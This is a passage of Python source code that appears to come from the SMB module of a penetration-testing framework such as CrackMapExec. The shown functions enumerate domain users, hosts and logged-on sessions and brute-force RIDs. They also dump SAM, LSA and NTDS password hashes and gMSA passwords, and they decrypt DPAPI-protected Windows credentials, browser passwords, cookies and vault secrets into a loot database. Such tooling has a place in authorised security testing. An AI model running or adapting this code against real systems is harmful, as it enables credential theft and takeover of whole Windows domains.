self.logger.fail(f"Error enumerating domain group using dc ip {dc_ip}: {e}") return groups def users(self): self.logger.display("Trying to dump local users with SAMRPC protocol") users = UserSamrDump(self).dump() return users def hosts(self): hosts = [] for dc_ip in self.get_dc_ips(): try: hosts = get_netcomputer( dc_ip, self.domain, self.username, password=self.password, lmhash=self.lmhash, nthash=self.nthash, queried_domain='', ads_path=str(), custom_filter=str() ) self.logger.success("Enumerated domain computer(s)") for hosts in hosts: domain, host_clean = self.domainfromdnshostname(hosts.dnshostname) self.logger.highlight(f"{domain}\\{host_clean:<30}") break except Exception as e: self.logger.fail(f"Error enumerating domain hosts using dc ip {dc_ip}: {e}") break return hosts def loggedon_users(self): logged_on = [] try: logged_on = get_netloggedon( self.host, self.domain, self.username, self.password, lmhash=self.lmhash, nthash=self.nthash ) self.logger.success("Enumerated logged_on users") if self.args.loggedon_users_filter: for user in logged_on: if re.match(self.args.loggedon_users_filter, user.wkui1_username): self.logger.highlight( f"{user.wkui1_logon_domain}\\{user.wkui1_username:<25} {f'logon_server: {user.wkui1_logon_server}' if user.wkui1_logon_server else ''}" ) else: for user in logged_on: self.logger.highlight( f"{user.wkui1_logon_domain}\\{user.wkui1_username:<25} {f'logon_server: {user.wkui1_logon_server}' if user.wkui1_logon_server else ''}" ) except Exception as e: self.logger.fail(f"Error enumerating logged on users: {e}") return logged_on def pass_pol(self): return PassPolDump(self).dump() def wmi(self, wmi_query=None, namespace=None): records = [] if not namespace: namespace = self.args.wmi_namespace try: rpc = RPCRequester(self.host, self.domain, self.username, self.password, self.lmhash, self.nthash) rpc._create_wmi_connection(namespace=namespace) if wmi_query: query = rpc._wmi_connection.ExecQuery(wmi_query, lFlags=WBEM_FLAG_FORWARD_ONLY) else: query = rpc._wmi_connection.ExecQuery(self.args.wmi, lFlags=WBEM_FLAG_FORWARD_ONLY) except Exception as e: self.logger.fail(f"Error creating WMI connection: {e}") return records while True: try: wmi_results = query.Next(0xffffffff, 1)[0] record = wmi_results.getProperties() records.append(record) for k, v in record.items(): self.logger.highlight(f"{k} => {v['value']}") self.logger.highlight('') except Exception as e: if str(e).find("S_FALSE") < 0: raise e else: break return records def spider(self, share=None, folder=".", pattern=[], regex=[], exclude_dirs=[], depth=None, content=False, only_files=True): spider = SMBSpider(self.conn, self.logger) self.logger.display("Started spidering") start_time = time() if not share: spider.spider( self.args.spider, self.args.spider_folder, self.args.pattern, self.args.regex, self.args.exclude_dirs, self.args.depth, self.args.content, self.args.only_files ) else: spider.spider(share, folder, pattern, regex, exclude_dirs, depth, content, only_files) self.logger.display(f"Done spidering (Completed in {time() - start_time})") return spider.results def rid_brute(self, max_rid=None): entries = [] if not max_rid: max_rid = int(self.args.rid_brute) KNOWN_PROTOCOLS = { 135: {"bindstr": r"ncacn_ip_tcp:%s", "set_host": False}, 139: {"bindstr": r"ncacn_np:{}[\pipe\lsarpc]", "set_host": True}, 445: {"bindstr": r"ncacn_np:{}[\pipe\lsarpc]", 'set_host': True}, } try: full_hostname = self.host if not self.kerberos else self.hostname + "." + self.domain string_binding = KNOWN_PROTOCOLS[self.args.port]['bindstr'] logging.debug(f"StringBinding {string_binding}") rpc_transport = transport.DCERPCTransportFactory(string_binding) rpc_transport.set_dport(self.args.port) if KNOWN_PROTOCOLS[self.args.port]["set_host"]: rpc_transport.setRemoteHost(full_hostname) if hasattr(rpc_transport, "set_credentials"): # This method exists only for selected protocol sequences. rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash) if self.kerberos: rpc_transport.set_kerberos(self.kerberos, self.kdcHost) dce = rpc_transport.get_dce_rpc() if self.kerberos: dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) dce.connect() except Exception as e: self.logger.fail(f"Error creating DCERPC connection: {e}") return entries # Want encryption? Uncomment next line # But make simultaneous variable <= 100 # dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY) # Want fragmentation? Uncomment next line # dce.set_max_fragment_size(32) dce.bind(lsat.MSRPC_UUID_LSAT) try: resp = lsad.hLsarOpenPolicy2( dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES ) except lsad.DCERPCSessionError as e: self.logger.fail(f"Error connecting: {e}") return entries policy_handle = resp["PolicyHandle"] resp = lsad.hLsarQueryInformationPolicy2( dce, policy_handle, lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation ) domain_sid = resp["PolicyInformation"]["PolicyAccountDomainInfo"]["DomainSid"].formatCanonical() so_far = 0 simultaneous = 1000 for j in range(max_rid // simultaneous + 1): if (max_rid - so_far) // simultaneous == 0: sids_to_check = (max_rid - so_far) % simultaneous else: sids_to_check = simultaneous if sids_to_check == 0: break sids = list() for i in range(so_far, so_far + sids_to_check): sids.append(domain_sid + "-%d" % i) try: lsat.hLsarLookupSids(dce, policy_handle, sids, lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta) except DCERPCException as e: if str(e).find("STATUS_NONE_MAPPED") >= 0: so_far += simultaneous continue elif str(e).find("STATUS_SOME_NOT_MAPPED") >= 0: resp = e.get_packet() else: raise for n, item in enumerate(resp["TranslatedNames"]["Names"]): if item["Use"] != SID_NAME_USE.SidTypeUnknown: rid = so_far + n domain = resp["ReferencedDomains"]["Domains"][item["DomainIndex"]]["Name"] user = item["Name"] sid_type = SID_NAME_USE.enumItems(item['Use']).name self.logger.highlight(f"{rid}: {domain}\\{user} ({sid_type})") entries.append({ "rid": rid, "domain": domain, "username": user, "sidtype": sid_type }) so_far += simultaneous dce.disconnect() return entries def put_file(self): self.logger.display(f"Copying {self.args.put_file[0]} to {self.args.put_file[1]}") with open(self.args.put_file[0], "rb") as file: try: self.conn.putFile(self.args.share, self.args.put_file[1], file.read) self.logger.success( f"Created file {self.args.put_file[0]} on \\\\{self.args.share}\\{self.args.put_file[1]}" ) except Exception as e: self.logger.fail(f"Error writing file to share {self.args.share}: {e}") def get_file(self): self.logger.display(f"Copying {self.args.get_file[0]} to {self.args.get_file[1]}") file_handle = self.args.get_file[1] if self.args.append_host: file_handle = f"{self.hostname}-{self.args.get_file[1]}" with open(file_handle, "wb+") as file: try: self.conn.getFile(self.args.share, self.args.get_file[0], file.write) self.logger.success(f"File {self.args.get_file[0]} was transferred to {file_handle}") except Exception as e: self.logger.fail(f"Error reading file {self.args.share}: {e}") def enable_remoteops(self): if self.remote_ops is not None and self.bootkey is not None: return try: self.remote_ops = RemoteOperations(self.conn, self.kerberos, self.kdcHost) self.remote_ops.enableRegistry() self.bootkey = self.remote_ops.getBootKey() except Exception as e: self.logger.fail(f"RemoteOperations failed: {e}") @requires_admin def sam(self): self.enable_remoteops() host_id = self.db.get_hosts(filter_term=self.host)[0][0] def add_sam_hash(sam_hash, host_id): add_sam_hash.sam_hashes += 1 self.logger.highlight(sam_hash) username, _, lmhash, nthash, _, _, _ = sam_hash.split(':') self.db.add_credential("hash", self.hostname, username, ':'.join((lmhash, nthash)), pillaged_from=host_id) add_sam_hash.sam_hashes = 0 if self.remote_ops and self.bootkey: SAM_file_name = self.remote_ops.saveSAM() SAM = SAMHashes( SAM_file_name, self.bootkey, isRemote=True, perSecretCallback=lambda secret: add_sam_hash(secret, host_id)) self.logger.display("Dumping SAM hashes") SAM.dump() SAM.export(self.output_filename) self.logger.success(f"Added {highlight(add_sam_hash.sam_hashes)} SAM hashes to the database") try: self.remote_ops.finish() except Exception as e: self.logger.debug(f"Error calling remote_ops.finish(): {e}") SAM.finish() @requires_admin def dpapi(self): logging.getLogger("dploot").disabled = True if self.args.pvk is not None: try: self.pvkbytes = open(self.args.pvk, "rb").read() self.logger.success(f"Loading domain backupkey from {self.args.pvk}") except Exception as e: logging.error(str(e)) masterkeys = [] if self.args.mkfile is not None: try: masterkeys += parse_masterkey_file(self.args.mkfile) except Exception as e: self.logger.fail(str(e)) if self.pvkbytes is None and self.no_da is None and self.args.local_auth is False: try: results = self.db.get_domain_backupkey(self.domain) except: self.logger.fail("Your version of CMEDB is not up to date, run cmedb and create a new workspace: \ 'workspace create dpapi' then re-run the dpapi option") return False if len(results) > 0: self.logger.success("Loading domain backupkey from cmedb...") self.pvkbytes = results[0][2] else: try: dc_target = Target.create( domain=self.domain, username=self.username, password=self.password, target=self.domain, # querying DNS server for domain will return DC lmhash=self.lmhash, nthash=self.nthash, do_kerberos=self.kerberos, aesKey=self.aesKey, no_pass=True, use_kcache=self.use_kcache, ) dc_conn = DPLootSMBConnection(dc_target) dc_conn.connect() # Connect to DC if dc_conn.is_admin(): self.logger.success("User is Domain Administrator, exporting domain backupkey...") backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn) backupkey = backupkey_triage.triage_backupkey() self.pvkbytes = backupkey.backupkey_v2 self.db.add_domain_backupkey(self.domain, self.pvkbytes) else: self.no_da = False except Exception as e: self.logger.fail(f"Could not get domain backupkey: {e}") pass target = Target.create( domain=self.domain, username=self.username, password=self.password, target=self.hostname + "." + self.domain if self.kerberos else self.host, lmhash=self.lmhash, nthash=self.nthash, do_kerberos=self.kerberos, aesKey=self.aesKey, no_pass=True, use_kcache=self.use_kcache, ) try: conn = DPLootSMBConnection(target) conn.smb_session = self.conn except Exception as e: self.logger.debug(f"Could not upgrade connection: {e}") return plaintexts = { username: password for _, _, username, password, _, _ in self.db.get_credentials(cred_type="plaintext") } nthashes = { username: nt.split(':')[1] if ':' in nt else nt for _, _, username, nt, _, _ in self.db.get_credentials(cred_type="hash") } if self.password != '': plaintexts[self.username] = self.password if self.nthash != '': nthashes[self.username] = self.nthash # Collect User and Machine masterkeys try: self.logger.display("Collecting User and Machine masterkeys, grab a coffee and be patient...") masterkeys_triage = MasterkeysTriage( target=target, conn=conn, pvkbytes=self.pvkbytes, passwords=plaintexts, nthashes=nthashes ) self.logger.debug(f"Masterkeys Triage: {masterkeys_triage}") masterkeys += masterkeys_triage.triage_masterkeys() masterkeys += masterkeys_triage.triage_system_masterkeys() except Exception as e: self.logger.debug(f"Could not get masterkeys: {e}") if len(masterkeys) == 0: logging.fail("No masterkeys looted") return self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting secrets...") try: # Collect User and Machine Credentials Manager secrets credentials_triage = CredentialsTriage(target=target, conn=conn, masterkeys=masterkeys) self.logger.debug(f"Credentials Triage Object: {credentials_triage}") credentials = credentials_triage.triage_credentials() self.logger.debug(f"Triaged Credentials: {credentials}") system_credentials = credentials_triage.triage_system_credentials() self.logger.debug(f"Triaged System Credentials: {system_credentials}") except Exception as e: self.logger.debug(f"Error while looting credentials: {e}") for credential in credentials: self.logger.highlight( f"[{credential.winuser}][CREDENTIAL] {credential.target} - {credential.username}:{credential.password}" ) self.db.add_dpapi_secrets( target.address, "CREDENTIAL", credential.winuser, credential.username, credential.password, credential.target ) for credential in system_credentials: self.logger.highlight( f"[SYSTEM][CREDENTIAL] {credential.target} - {credential.username}:{credential.password}" ) self.db.add_dpapi_secrets( target.address, "CREDENTIAL", "SYSTEM", credential.username, credential.password, credential.target ) try: # Collect Chrome Based Browser stored secrets dump_cookies = True if self.args.dpapi == "cookies" else False browser_triage = BrowserTriage(target=target, conn=conn, masterkeys=masterkeys) browser_credentials, cookies = browser_triage.triage_browsers(gather_cookies=dump_cookies) except Exception as e: self.logger.debug(f"Error while looting browsers: {e}") for credential in browser_credentials: cred_url = credential.url + " -" if credential.url != "" else "-" self.logger.highlight( f"[{credential.winuser}][{credential.browser.upper()}] {cred_url} {credential.username}:{credential.password}" ) self.db.add_dpapi_secrets( target.address, credential.browser.upper(), credential.winuser, credential.username, credential.password, credential.url ) if dump_cookies: self.logger.display("Start Dumping Cookies") for cookie in cookies: self.logger.highlight( f"[{credential.winuser}][{cookie.browser.upper()}] {cookie.host}{cookie.path} - {cookie.cookie_name}:{cookie.cookie_value}" ) self.logger.display("End Dumping Cookies") try: # Collect User Internet Explorer stored secrets vaults_triage = VaultsTriage(target=target, conn=conn, masterkeys=masterkeys) vaults = vaults_triage.triage_vaults() except Exception as e: self.logger.debug(f"Error while looting vaults: {e}") for vault in vaults: if vault.type == "Internet Explorer": resource = vault.resource + " -" if vault.resource != "" else "-" self.logger.highlight(f"[{vault.winuser}][IEX] {resource} - {vault.username}:{vault.password}") self.db.add_dpapi_secrets( target.address, 'IEX', vault.winuser, vault.username, vault.password, vault.resource ) try: # Collect Firefox stored secrets firefox_triage = FirefoxTriage(target=target, logger=self.logger, conn=conn) firefox_credentials = firefox_triage.run() except Exception as e: self.logger.debug(f"Error while looting firefox: {e}") for credential in firefox_credentials: url = credential.url + " -" if credential.url != "" else "-" self.logger.highlight( f"[{credential.winuser}][FIREFOX] {url} {credential.username}:{credential.password}" ) self.db.add_dpapi_secrets( target.address, "FIREFOX", credential.winuser, credential.username, credential.password, credential.url ) @requires_admin def lsa(self): self.enable_remoteops() def add_lsa_secret(secret): add_lsa_secret.secrets += 1 self.logger.highlight(secret) if "_SC_GMSA_{84A78B8C" in secret: gmsa_id = secret.split("_")[4].split(":")[0] data = bytes.fromhex(secret.split("_")[4].split(":")[1]) blob = MSDS_MANAGEDPASSWORD_BLOB() blob.fromString(data) currentPassword = blob["CurrentPassword"][:-2] ntlm_hash = MD4.new() ntlm_hash.update(currentPassword) passwd = binascii.hexlify(ntlm_hash.digest()).decode("utf-8") self.logger.highlight(f"GMSA ID: {gmsa_id:<20} NTLM: {passwd}") add_lsa_secret.secrets = 0 if self.remote_ops and self.bootkey: SECURITYFileName = self.remote_ops.saveSECURITY() LSA = LSASecrets( SECURITYFileName, self.bootkey, self.remote_ops, isRemote=True, perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret) ) self.logger.success("Dumping LSA secrets") LSA.dumpCachedHashes() LSA.exportCached(self.output_filename) LSA.dumpSecrets() LSA.exportSecrets(self.output_filename) self.logger.success( f"Dumped {highlight(add_lsa_secret.secrets)} LSA secrets to {self.output_filename + '.secrets'} and {self.output_filename + '.cached'}" ) try: self.remote_ops.finish() except Exception as e: self.logger.debug(f"Error calling remote_ops.finish(): {e}") LSA.finish() def ntds(self): self.enable_remoteops() use_vss_method = False NTDSFileName = None host_id = self.db.get_hosts(filter_term=self.host)[0][0] def add_ntds_hash(ntds_hash, host_id): add_ntds_hash.ntds_hashes += 1 if self.args.enabled: if "Enabled" in ntds_hash: ntds_hash = ntds_hash.split(" ")[0] self.logger.highlight(ntds_hash) else: ntds_hash = ntds_hash.split(" ")[0] self.logger.highlight(ntds_hash) if ntds_hash.find("$") == -1: if ntds_hash.find("\\") != -1: domain, hash = ntds_hash.split("\\") else: domain = self.domain hash = ntds_hash try: username, _, lmhash, nthash, _, _, _ = hash.split(":") parsed_hash = ":".join((lmhash, nthash)) if validate_ntlm(parsed_hash): self.db.add_credential("hash", domain, username, parsed_hash, pillaged_from=host_id) add_ntds_hash.added_to_db += 1 return raise except: self.logger.debug("Dumped hash is not NTLM, not adding to db for now ;)") else: self.logger.debug("Dumped hash is a computer account, not adding to db") add_ntds_hash.ntds_hashes = 0 add_ntds_hash.added_to_db = 0 if self.remote_ops: try: if self.args.ntds == "vss": NTDSFileName = self.remote_ops.saveNTDS() use_vss_method = True except Exception as e: # if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0: # We don't store the resume file if this error happened, since this error is related to lack # of enough privileges to access DRSUAPI. # resumeFile = NTDS.getResumeSessionFile() # if resumeFile is not None: # os.unlink(resumeFile) self.logger.fail(e) NTDS = NTDSHashes( NTDSFileName, self.bootkey, isRemote=True, history=False, noLMHash=True, remoteOps=self.remote_ops, useVSSMethod=use_vss_method, justNTLM=True, pwdLastSet=False, resumeSession=None, outputFileName=self.output_filename, justUser=self.args.userntds if self.args.userntds else None, printUserStatus=True, perSecretCallback=lambda secret_type, secret: add_ntds_hash(secret, host_id) ) try: self.logger.success("Dumping the NTDS, this could take a while so go grab a redbull...") NTDS.dump() ntds_outfile = f"{self.output_filename}.ntds" self.logger.success( f"Dumped {highlight(add_ntds_hash.ntds_hashes)} NTDS hashes to {ntds_outfile} of which {highlight(add_ntds_hash.added_to_db)} were added to the database" ) self.logger.display("To extract only enabled accounts from the output file, run the following command: ") self.logger.display(f"cat {ntds_outfile} | grep -iv disabled | cut -d ':' -f1") self.logger.display(f"grep -iv disabled {ntds_outfile} | cut -d ':' -f1") except Exception as e: # if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0: # We don't store the resume file if this error happened, since this error is related to lack # of enough privileges to access DRSUAPI. # resumeFile = NTDS.getResumeSessionFile() # if resumeFile is not None: # os.unlink(resumeFile) self.logger.fail(e) try: self.remote_ops.finish() except Exception as e: self.logger.debug(f"Error calling remote_ops.finish(): {e}") NTDS.finish()